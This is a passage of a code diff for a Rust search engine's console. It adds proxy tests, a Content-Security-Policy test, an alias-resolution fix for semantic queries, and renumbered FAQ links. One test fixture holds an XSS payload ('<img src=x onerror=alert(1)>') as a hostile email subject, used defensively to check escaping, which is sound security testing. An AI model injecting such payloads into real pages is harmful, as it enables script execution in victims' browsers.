{"default-anomaly-detect","default-ingest-pipeline","default-system",+ "default-corpus","default-search-discover",+ "default-reader","default-alerts","default-data","default-users",@@ -252,7 +258,11 @@ async fn seeding_is_idempotent_and_preserves_edits() {.iter().filter(|d| d["id"].as_str().unwrap_or("").starts_with("default-")).collect();- assert_eq!(defaults.len(), 14, "re-seed must not duplicate defaults");+ assert_eq!(+ defaults.len(),+ xerj_console_api::seed::BUILTIN_DASHBOARD_COUNT,+ "re-seed must not duplicate defaults"+ );// The edit survived the re-seed.let (_, sys) = get_dash(&app, "default-system").await;diff --git a/engine/crates/xerj-console-api/tests/reader_proxy.rs b/engine/crates/xerj-console-api/tests/reader_proxy.rsnew file mode 100644index 000000000..05b1398ae--- /dev/null+++ b/engine/crates/xerj-console-api/tests/reader_proxy.rs@@ -0,0 +1,241 @@+//! What the Console's Reader relies on from the session-authenticated+//! data-sources proxy.+//!+//! The Reader (`xerj-ux/src/ux/reader-view.js`) shows other people's documents.+//! A signed-in operator holds a Console session, not an engine API key, so on+//! an auth-enabled engine (the default) it can reach documents ONLY through+//! this proxy. Two behaviours it depends on are pinned here:+//!+//! 1. **Highlights pass through, delimited by the caller's tags, and the+//! fragment text is NOT HTML-escaped.** The SPA asks for two private-use+//! code points as delimiters and rebuilds each fragment from text nodes+//! (`safe-dom.js#highlightChildren`); it never parses a fragment as markup.+//! If the proxy dropped the tags the operator would read literal `<em>`,+//! and if anyone ever "helpfully" pre-escaped fragments the reader would+//! show `<` — so both halves are asserted.+//! 2. **`/fields` says which field is `semantic_text`.** Its `type` reads+//! `text`; the `semantic` flag is how the console picks the field that+//! `semantic` / `hybrid` queries run against without reading `_mapping`.++use axum::{body::Body, http::Request, Router};+use http_body_util::BodyExt;+use serde_json::{json, Value};+use tempfile::TempDir;+use tower::ServiceExt;+use xerj_common::config::Config;+use xerj_common::types::{EmbeddingConfig, FieldConfig, FieldType, Schema};+use xerj_console_api::{+ auth::{sessions, store},+ state::ClusterMode,+ xerj_console_router, ConsoleState,+};+use xerj_engine::Engine;++const PRE: &str = "\u{e000}";+const POST: &str = "\u{e001}";+/// An email subject as hostile as they come. It must travel through the+/// proxy byte-for-byte: escaping is the renderer's job, exactly once.+const HOSTILE: &str = "invoice <img src=x onerror=alert(1)> overdue";++struct TestApp {+ router: Router,+ cookie: String,+ _dir: TempDir,+}++async fn boot() -> TestApp {+ let dir = TempDir::new().unwrap();+ let mut cfg = Config::default();+ cfg.server.data_dir = dir.path().to_str().unwrap().to_string();+ let engine = Engine::new(cfg).expect("engine");+ let outcome = xerj_console_api::bootstrap::run(&engine, dir.path(), "http://localhost:9200")+ .await+ .unwrap();+ let state = ConsoleState::new(+ engine.clone(),+ "local".into(),+ outcome.master_key,+ ClusterMode::Standalone,+ );+ let user = store::User {+ id: "owner-test".to_string(),+ email: "[email protected]".to_string(),+ display_name: "Owner".to_string(),+ role: "owner".to_string(),+ status: store::UserStatus::Active,+ created_at: xerj_console_api::time::now_iso(),+ last_seen_at: Some(xerj_console_api::time::now_iso()),+ };+ store::upsert_user(&engine, &user).await.unwrap();+ let (_session, signed) = sessions::mint_session(&state, &user.id, "passkey", None, None)+ .await+ .unwrap();++ // An inbox the way autoindex maps one: `body` is semantic_text (a text+ // field with an embedding config), the headers are keywords.+ let mut schema = Schema::empty();+ let mut body = FieldConfig::new("body", FieldType::Text);+ body.embedding = Some(EmbeddingConfig {+ endpoint: None,+ model: None,+ target_field: Some("body_vector".to_string()),+ });+ schema.add_field(body).unwrap();+ schema+ .add_field(FieldConfig::new("email_subject", FieldType::Text))+ .unwrap();+ schema+ .add_field(FieldConfig::new("email_from", FieldType::Keyword))+ .unwrap();+ engine+ .create_index("ax-inbox", schema)+ .expect("create index");+ let idx = engine.get_index("ax-inbox").unwrap();+ idx.create_document(+ "m1".into(),+ json!({+ "email_subject": HOSTILE,+ "email_from": "[email protected]",+ "body": "please find the overdue invoice attached",+ }),+ )+ .await+ .expect("index doc");++ TestApp {+ router: xerj_console_router(state),+ cookie: format!("xerj_session={signed}"),+ _dir: dir,+ }+}++async fn call(app: &TestApp, method: &str, path: &str, body: Option<Value>) -> (u16, Value) {+ let req = Request::builder()+ .method(method)+ .uri(path)+ .header("cookie", &app.cookie)+ .header("content-type", "application/json")+ .body(match body {+ Some(b) => Body::from(b.to_string()),+ None => Body::empty(),+ })+ .unwrap();+ let resp = app.router.clone().oneshot(req).await.unwrap();+ let status = resp.status().as_u16();+ let bytes = resp.into_body().collect().await.unwrap().to_bytes();+ (+ status,+ serde_json::from_slice(&bytes).unwrap_or(Value::Null),+ )+}++const SEARCH: &str =+ "/_xerj-console/api/v1/data-sources/connections/built-in/indices/ax-inbox/search";++/// Exactly the `highlight` block `safe-dom.js#highlightRequest` builds: the+/// ES plural-array spelling AND the singular one this proxy's parser reads.+fn reader_highlight() -> Value {+ json!({+ "pre_tags": [PRE], "post_tags": [POST],+ "pre_tag": PRE, "post_tag": POST,+ "fields": { "email_subject": { "fragment_size": 160, "number_of_fragments": 2 } }+ })+}++#[tokio::test]+async fn highlights_pass_through_with_the_callers_tags_and_unescaped_text() {+ let app = boot().await;+ let (status, body) = call(+ &app,+ "POST",+ SEARCH,+ Some(json!({+ "query": { "match": { "email_subject": "invoice" } },+ "highlight": reader_highlight(),+ })),+ )+ .await;+ assert_eq!(status, 200, "{body}");+ let hit = &body["hits"]["hits"][0];+ assert_eq!(hit["_id"], "m1");+ assert_eq!(hit["_source"]["email_subject"], HOSTILE);++ let frags = hit["highlight"]["email_subject"]+ .as_array()+ .unwrap_or_else(|| panic!("the proxy dropped the highlight block: {hit}"));+ let frag = frags[0].as_str().unwrap();+ assert!(+ frag.contains(&format!("{PRE}invoice{POST}")),+ "match must be wrapped in the caller's tags, got {frag:?}"+ );+ assert!(+ !frag.contains("<em>"),+ "the proxy fell back to the default <em> tags: {frag:?}"+ );+ // Raw document text: the markup characters arrive as themselves. The SPA+ // turns a fragment into text nodes; a pre-escaped fragment would display+ // as `<img…`, and a fragment treated as HTML would be an XSS.+ assert!(+ frag.contains("<img src=x onerror=alert(1)>"),+ "fragment text must not be HTML-escaped by the engine or the proxy: {frag:?}"+ );+}++#[tokio::test]+async fn no_highlight_block_unless_one_was_requested() {+ let app = boot().await;+ let (status, body) = call(+ &app,+ "POST",+ SEARCH,+ Some(json!({ "query": { "match": { "email_subject": "invoice" } } })),+ )+ .await;+ assert_eq!(status, 200, "{body}");+ assert!(body["hits"]["hits"][0].get("highlight").is_none(), "{body}");+}++#[tokio::test]+async fn fields_flag_the_semantic_text_field() {+ let app = boot().await;+ let (status, body) = call(+ &app,+ "GET",+ "/_xerj-console/api/v1/data-sources/connections/built-in/indices/ax-inbox/fields",+ None,+ )+ .await;+ assert_eq!(status, 200, "{body}");+ let fields = body["data"]["fields"].as_array().expect("fields array");+ let by_name = |n: &str| -> &Value {+ fields+ .iter()+ .find(|f| f["name"] == n)+ .unwrap_or_else(|| panic!("no field {n} in {body}"))+ };+ assert_eq!(by_name("body")["type"], "text");+ assert_eq!(by_name("body")["semantic"], true);+ assert_eq!(by_name("email_subject")["semantic"], false);+ assert_eq!(by_name("email_from")["type"], "keyword");+ assert_eq!(by_name("email_from")["semantic"], false);+}++#[tokio::test]+async fn the_reader_proxy_needs_a_session() {+ let app = boot().await;+ let req = Request::builder()+ .method("POST")+ .uri(SEARCH)+ .header("content-type", "application/json")+ .body(Body::from(+ json!({ "query": { "match_all": {} } }).to_string(),+ ))+ .unwrap();+ let resp = app.router.clone().oneshot(req).await.unwrap();+ assert_eq!(resp.status().as_u16(), 401);+ let bytes = resp.into_body().collect().await.unwrap().to_bytes();+ assert!(+ !String::from_utf8_lossy(&bytes).contains("mallory"),+ "a 401 must carry no document data"+ );+}diff --git a/engine/crates/xerj-console-api/tests/spa_assets.rs b/engine/crates/xerj-console-api/tests/spa_assets.rsindex e93ffcd88..82ab91ae9 100644--- a/engine/crates/xerj-console-api/tests/spa_assets.rs+++ b/engine/crates/xerj-console-api/tests/spa_assets.rs@@ -4,7 +4,7 @@//! emits a static `(url_path, bytes, content_type)` slice. These tests//! confirm the runtime serves the files the demo flow depends on://! setup.html, login.html, the auth + sync JS modules, and the-//! patched index.html with its auth guard.+//! console page with its auth guard, policy headers and guest modules.use axum::{body::Body, http::Request};use http_body_util::BodyExt;@@ -97,20 +97,119 @@ async fn xerj_console_sync_module_is_bundled() {}#[tokio::test]-async fn index_html_has_auth_guard() {+async fn console_page_boots_through_the_auth_guard_with_no_inline_script() {let (router, _dir) = boot();- let (status, body) = fetch(router, "/_xerj-console/").await;+ let (status, body) = fetch(router.clone(), "/_xerj-console/").await;assert_eq!(status, 200);assert!(- body.contains("/_xerj-console/api/v1/me"),- "index.html must call /me as the auth guard"+ body.contains(r#"<script type="module" src="src/boot.js"></script>"#),+ "index.html must boot through src/boot.js"+ );+ // The page is served with `script-src 'self'`, so an inline script would+ // simply not run — and the auth guard used to be one. Every <script> tag+ // must carry a src.+ for tag in body.match_indices("<script").map(|(i, _)| &body[i..]) {+ let open = &tag[..tag.find('>').expect("unterminated <script")];+ assert!(+ open.contains(" src="),+ "inline script on the console page: {open}"+ );+ }++ // The guard itself now lives in boot.js.+ let (status, boot_js) = fetch(router, "/_xerj-console/src/boot.js").await;+ assert_eq!(status, 200);+ assert!(+ boot_js.contains("/_xerj-console/api/v1/me"),+ "boot.js must call /me as the auth guard"+ );+ assert!(+ boot_js.contains("/_xerj-console/login"),+ "boot.js must redirect to /login on 401");assert!(- body.contains("/_xerj-console/login"),- "index.html must redirect to /login on 401"+ boot_js.contains("guest-app.js"),+ "boot.js must hand a share record to the guest shell");}+async fn headers_of(router: axum::Router, path: &str) -> axum::http::HeaderMap {+ router+ .oneshot(Request::builder().uri(path).body(Body::empty()).unwrap())+ .await+ .unwrap()+ .headers()+ .clone()+}++#[tokio::test]+async fn console_page_is_served_with_the_content_security_policy() {+ let (router, _dir) = boot();+ for path in ["/_xerj-console/", "/_xerj-console/index.html"] {+ let h = headers_of(router.clone(), path).await;+ let csp = h+ .get("content-security-policy")+ .unwrap_or_else(|| panic!("{path}: no Content-Security-Policy"))+ .to_str()+ .unwrap();+ assert_eq!(csp, xerj_console_api::spa::CONSOLE_CSP);+ assert_eq!(h.get("referrer-policy").unwrap(), "no-referrer");+ assert_eq!(h.get("x-content-type-options").unwrap(), "nosniff");+ assert_eq!(h.get("cache-control").unwrap(), "no-cache");+ }++ // What the policy has to say, whatever else it grows: scripts and+ // connections from this origin only, and nothing that re-opens inline+ // script or eval.+ let csp = xerj_console_api::spa::CONSOLE_CSP;+ let directive = |name: &str| -> Vec<&str> {+ csp.split(';')+ .map(str::trim)+ .find(|d| d.split(' ').next() == Some(name))+ .unwrap_or_else(|| panic!("CSP has no {name} directive"))+ .split(' ')+ .skip(1)+ .collect()+ };+ assert_eq!(directive("script-src"), ["'self'"]);+ assert_eq!(directive("connect-src"), ["'self'"]);+ assert_eq!(directive("default-src"), ["'none'"]);+ assert_eq!(directive("object-src"), ["'none'"]);+ assert_eq!(directive("base-uri"), ["'none'"]);+ assert_eq!(directive("frame-ancestors"), ["'none'"]);+ assert!(!csp.contains("unsafe-eval"));+ assert!(!directive("script-src").contains(&"'unsafe-inline'"));++ // login / setup carry an inline module script and show no document data:+ // they are served without the policy (it would stop them working).+ for path in ["/_xerj-console/login", "/_xerj-console/setup"] {+ let h = headers_of(router.clone(), path).await;+ assert!(h.get("content-security-policy").is_none(), "{path}");+ assert_eq!(h.get("x-content-type-options").unwrap(), "nosniff");+ }+}++#[tokio::test]+async fn guest_and_reader_modules_are_bundled() {+ // A share link's guest page probes `src/data/guest.js` to decide whether+ // this console can take a guest; the rest are what the guest shell imports.+ let (router, _dir) = boot();+ for path in [+ "src/data/guest.js",+ "src/guest-app.js",+ "src/theme-boot.js",+ "src/data/transport-guest.js",+ "src/data/reader-api.js",+ "src/ux/safe-dom.js",+ "src/ux/reader-render.js",+ "src/ux/reader-view.js",+ "src/ux/corpus-render.js",+ ] {+ let (status, _) = fetch(router.clone(), &format!("/_xerj-console/{path}")).await;+ assert_eq!(status, 200, "{path} must be bundled");+ }+}+#[tokio::test]async fn root_redirect_works() {// /_xerj-console (no trailing slash) → redirect to /_xerj-console/.diff --git a/engine/crates/xerj-engine/src/index.rs b/engine/crates/xerj-engine/src/index.rsindex 55a4ead28..0910053a2 100644--- a/engine/crates/xerj-engine/src/index.rs+++ b/engine/crates/xerj-engine/src/index.rs@@ -14431,6 +14431,15 @@ impl Index {// the query with that same embedder and kNN against `target_field`.let (knn_field, dims, is_semantic_text, similarity) = {let schema = self.schema.read().await;+ // Resolve a field alias to its concrete target first, so `semantic`+ // respects field aliases the way `match`/`term` already do. A console+ // or agent that queries `embedding` — aliased to the corpus's real+ // semantic field (e.g. autoindex's `body`) — then finds that field's+ // embedding config and kNNs against its companion vector. Without+ // this the aliased, vectorless name falls through to the arm below+ // and the query is rejected as "not a `semantic_text` field"+ // (pinned by `test_semantic_field_alias_resolution`).+ let field = &resolve_field_alias(&schema.schema, field);match schema.schema.field(field) {Some(fc) if fc.embedding.is_some() => {let emb = fc.embedding.as_ref().unwrap();diff --git a/engine/crates/xerj-engine/tests/integration.rs b/engine/crates/xerj-engine/tests/integration.rsindex 09888d24d..2bda8a24b 100644--- a/engine/crates/xerj-engine/tests/integration.rs+++ b/engine/crates/xerj-engine/tests/integration.rs@@ -5933,6 +5933,76 @@ async fn test_field_alias_resolution() {assert_eq!(result2.hits[0].id, "2");}+/// `semantic` resolves a field alias the way `match`/`term` do (PR #923's+/// engine change, previously untested). Schema: `body` is a semantic_text+/// field (embedding config, vector in `body_vector`); `embedding` is an alias+/// of `body`. A `semantic` query on the ALIAS must find the same documents as+/// one on the concrete field — before the fix it treated the vectorless alias+/// name as the vector field and matched nothing.+#[tokio::test]+async fn test_semantic_field_alias_resolution() {+ let dir = TempDir::new().unwrap();+ let engine = make_engine(&dir);++ let mut schema = Schema::empty();+ let mut body = FieldConfig::new("body", FieldType::Text);+ body.embedding = Some(xerj_common::types::EmbeddingConfig {+ endpoint: None,+ model: None,+ target_field: Some("body_vector".to_string()),+ });+ schema.add_field(body).unwrap();+ let mut alias_fc = FieldConfig::new("embedding", FieldType::Object);+ alias_fc.options.null_value = Some(Value::String("__alias__:body".to_string()));+ schema.add_field(alias_fc).unwrap();++ engine.create_index("semantic_alias_test", schema).unwrap();+ let idx = engine.get_index("semantic_alias_test").unwrap();++ idx.index_document(+ Some("1".into()),+ json!({ "body": "quarterly liquidity and working capital review" }),+ )+ .await+ .unwrap();+ idx.index_document(+ Some("2".into()),+ json!({ "body": "kitchen recipe for sourdough bread" }),+ )+ .await+ .unwrap();++ let direct = idx+ .search(&make_search(json!({+ "semantic": {"field": "body", "query": "quarterly liquidity", "k": 10}+ })))+ .await+ .unwrap();+ let via_alias = idx+ .search(&make_search(json!({+ "semantic": {"field": "embedding", "query": "quarterly liquidity", "k": 10}+ })))+ .await+ .unwrap();++ assert!(+ direct.total.value > 0,+ "semantic on the concrete field must match (got {})",+ direct.total.value+ );+ assert_eq!(+ via_alias.total.value, direct.total.value,+ "semantic on the alias must resolve to the concrete field and match the same docs"+ );+ let direct_ids: Vec<&str> = direct.hits.iter().map(|h| h.id.as_str()).collect();+ let alias_ids: Vec<&str> = via_alias.hits.iter().map(|h| h.id.as_str()).collect();+ assert_eq!(alias_ids, direct_ids, "same ranking through the alias");+ assert_eq!(+ alias_ids[0], "1",+ "the liquidity doc ranks first through the alias"+ );+}+/// Test copy_to: indexing a doc copies the field value to the target field.#[tokio::test]async fn test_copy_to() {diff --git a/landing/answers/agent-memory-without-postgres-qdrant.html b/landing/answers/agent-memory-without-postgres-qdrant.htmlindex d795230a5..fe6ce23fb 100644--- a/landing/answers/agent-memory-without-postgres-qdrant.html+++ b/landing/answers/agent-memory-without-postgres-qdrant.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/audit-php-codebase-with-an-index.html b/landing/answers/audit-php-codebase-with-an-index.htmlindex 92bb616ee..c0c050565 100644--- a/landing/answers/audit-php-codebase-with-an-index.html+++ b/landing/answers/audit-php-codebase-with-an-index.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex 